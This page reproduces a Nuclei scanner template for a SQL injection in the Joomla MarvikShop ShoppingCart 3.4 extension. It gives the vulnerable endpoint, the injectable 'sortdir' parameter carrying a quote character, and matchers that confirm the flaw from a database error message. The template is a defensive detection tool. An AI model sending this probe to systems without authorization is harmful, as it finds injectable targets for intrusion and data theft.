joomla-marvikshop-sqli: Joomla MarvikShop ShoppingCart 3.4 - Sql Injection

2025-08-01 Joomla MarvikShop PoC Public

Description

Joomla MarvikShop ShoppingCart 3.4 is vulnerable to SQL injection which is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input.

PoC

id: joomla-marvikshop-sqli

info:
  name: Joomla MarvikShop ShoppingCart 3.4 - Sql Injection
  author: r3Y3r53
  severity: high
  description: |
    Joomla MarvikShop ShoppingCart 3.4 is vulnerable to SQL injection which is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input.
  reference:
    - https://vulners.com/zdt/1337DAY-ID-38020
    - https://cxsecurity.com/issue/WLB-2022100015
    - https://extensions.joomla.org/
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: joomla,marvikshop,sqli,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&page=index.php&format=xml&task=showproducts&view=med&sort=latest&sortdir=%27"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "You have an error in your SQL syntax") && contains(body, "manufacturers_id") && contains(body, "products_price")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402201ebbb16a338d65eed0518aac8c05ee13ccee14c96787930d13ebcc7f1e7d721e022056a5981a5fdf80f6af2195e4cfb688dd6b3b152b241e99f991e48eb9426dd2a7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/joomla/joomla-marvikshop-sqli.yaml

References

Related Vulnerabilities